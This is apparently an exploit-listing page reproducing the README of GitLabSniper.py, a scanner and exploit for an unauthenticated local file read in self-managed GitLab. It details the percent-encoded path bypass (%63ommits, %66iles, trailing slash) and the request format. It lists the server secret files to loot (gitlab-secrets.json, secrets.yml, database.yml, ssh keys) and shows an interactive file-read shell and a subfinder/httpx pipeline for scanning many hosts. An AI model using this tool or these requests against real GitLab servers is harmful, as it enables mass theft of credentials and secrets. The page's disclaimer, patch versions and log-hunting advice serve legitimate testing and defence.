Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus September 11, 2026

detect · public project enum · loot · interactive shell · subfinder/httpx pipeline

**Author:** Yunus Emre Öztaş (**mitsec**)

**X:** [x.com/ynsmroztas](

**GitHub:** [github.com/ynsmroztas](

**Site:** [ynsmroztas.github.io](

Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).

`GitLabSniper.py` is a single-file Python scanner/exploit for **CVE-2026-85706**: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.

It does **not** stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints **FILE LEAK** when the 400 body contains the file bytes inside `invalid %-encoding (...)`.

| Affected | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |

| Patched | **19.1.8** / **19.2.6** / **19.3.2** (2026-09-10) |

| Not in scope | gitlab.com · GitLab Dedicated |

Three repository endpoints sit behind Workhorse `requestBodyUploader`:

- `POST /api/v4/projects/:id/repository/commits`

- `POST /api/v4/projects/:id/repository/files/:file_path`

- `PUT /api/v4/projects/:id/repository/files/:file_path`

Rails takes the raw `file.path` field and runs `File.open` **before** `authenticate!`. `require_gitlab_workhorse!` is not a real gate here: Workhorse already stamps a valid `Gitlab-Workhorse-Api-Request` JWT on anything it proxies.

Workhorse was supposed to rewrite the upload first. Its route regex matches **`EscapedPath()`** and a `path.Clean` clone that **never percent-decodes**. Puma **does** decode `%XX` before Grape routing.

POST /api/v4/projects/35/repository/%63ommits

POST /api/v4/projects/35/repository/commits/ ← trailing slash also slips

&Content-Type=application/x-www-form-urlencoded

Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)

Puma decodes %63 → commits → ROUTES to Rails

Rails File.open(params[:file][:path]) → BEFORE auth

Rack parse_nested_query(File.read(path))

HTTP 400 Invalid parameter: invalid %-encoding ()

`file=` blank satisfies `requires :file, WorkhorseFile` (blank → nil). The leak channel is the **urlencoded** branch. JSON/`Oj` does not echo file bytes the same way — the tool always sends `Content-Type=application/x-www-form-urlencoded`.

`//`, `/./`, `%2F` and `;` do **not** bypass: `path.Clean` normalizes the first two and Puma rejects `%2F`.

The project id is **not** “which repo to steal files from”. `file.path` is an **absolute server path**. The id is only the URL piece that reaches the vulnerable controller.

| **files** (`%66iles`) | Any id often works — `File.open` is before project checks |

| **commits** (`%63ommits`, `commits/`, `commits.json`) | Needs a project an anonymous user can `read_code`. Otherwise `404 Project Not Found` |

That is why the tool enumerates `GET /api/v4/projects` and skips gated ids.

Confirmed leak requires this substring in the body:

Files with no lone `%` may still be opened (`read-noecho` / later `branch is required`) but will **not** echo. That is an oracle, not a reportable dump.

- GitLab fingerprint (HTML / `x-gitlab-*` / sign-in) + version range when visible

- Public project enum (`GET /api/v4/projects`)

- Automatic pick of a non-gated project id (fallback `1..7`)

- `%63ommits` · `%72epository` · `%66iles`

- Response classifier: `leak` · `leak-fragment` · `read-noecho` · `missing` · `project-gate` · `rewrite` · `noroute`

- `--auto` loot list (hostname, passwd, `secrets.yml`, `gitlab-secrets.json`, `gitlab.rb`, `database.yml`, ssh keys, environ)

- Sticky working form after the first leak

- Interactive shell (`cat`, `loot`, `secrets`, `passwd`, `project `, `curl`)

- Pipeline: raw hosts, `httpx -sc -td -title`, `httpx -json`, ANSI stripped

- Colorized HIT banner + ready-to-paste curl PoC

python3 GitLabSniper.py -u --auto

python3 GitLabSniper.py -u --auto --shell

python3 GitLabSniper.py -u --file /etc/gitlab/gitlab-secrets.json

python3 GitLabSniper.py -u --project-id 35 --auto

python3 GitLabSniper.py -u --shell

[email protected]> cat /etc/passwd

[email protected]> project 35

[email protected]> curl /etc/gitlab/gitlab.rb

| python3 GitLabSniper.py --pipe --auto -o hits.jsonl

| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

cat hosts.txt | python3 GitLabSniper.py --auto

- ` [200] [GitLab] [nginx]`

- `httpx -json` objects (`url` / `status_code`)

| `-u` / `-t` / `--target` | Single base URL |

| `--auto` / `--loot` | High-value GitLab file list |

| `--shell` | Interactive file-read shell |

| `--project-id` | Force project id (default: enum + fallback) |

| `--max-projects` | Cap enum/fallback ids (default 8) |

| `--force` | Scan even if fingerprint is weak |

| `--threads` | Pipeline workers (default 8) |

Exit codes: `0` leak · `1` oracle-only / no leak in pipe · `2` no usable signal.

| `leak` | `invalid %-encoding (` + file bytes | **Yes — confirmed** |

| `leak-fragment` | Partial echo | Maybe, attach body |

| `read-noecho` | 401 / `branch is required` after open, no `%` in file | Oracle only |

| `missing` | `local file not present` — bypass reached disk | Existence oracle |

| `project-gate` | `404 Project Not Found` | Try another public id |

| `rewrite` | Workhorse rewrote body (`Invalid json`) | This form is dead |

| `noroute` | Plain 404 | Patched or wrong path |

| `other` | 500 / leftover | Dump body before claiming |

Do not file a critical based on `read-noecho` alone.

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml

/opt/gitlab/embedded/service/gitlab-rails/config/database.yml

/var/opt/gitlab/gitlab-rails/etc/secrets.yml

/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb

Highest impact when they echo: `secrets.yml`, `gitlab-secrets.json`, `database.yml` (`secret_key_base`, `otp_key_base`, DB password).

## Manual PoC (same request the tool emits)

"

Vulnerable instance returns JSON similar to:

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}

On some hosts `%63ommits` is 401 and **`/repository/commits/`** (trailing slash) is the form that leaks. The tool walks every variant.

Pair with `subfinder | httpx | GitLabSniper.py --pipe --auto`.

This repository is for authorized security testing and defensive validation after patching. You are responsible for scope.

If you operate a self-managed GitLab box in the affected range: upgrade to **19.1.8 / 19.2.6 / 19.3.2** now. Hunt access logs for `POST /api/v4/projects/*/repository/commits` with a `file.path` query parameter.

Vulnerability reported by **s3ntago** via GitLab HackerOne.

Write-up and original PoC that this tool is built on:

**

Thank you to [guneykabel]( for publishing a clear classifier (`leak` / `missing` / `project-gate` / `rewrite`) and the Workhorse ↔ Puma differential explanation. GitLabSniper wraps that model with project enum, loot, shell and recon pipelines.

GitLab advisory / patches: CE/EE **19.1.8**, **19.2.6**, **19.3.2**.

- X — [x.com/ynsmroztas](

- GitHub — [github.com/ynsmroztas](

- Web — [ynsmroztas.github.io](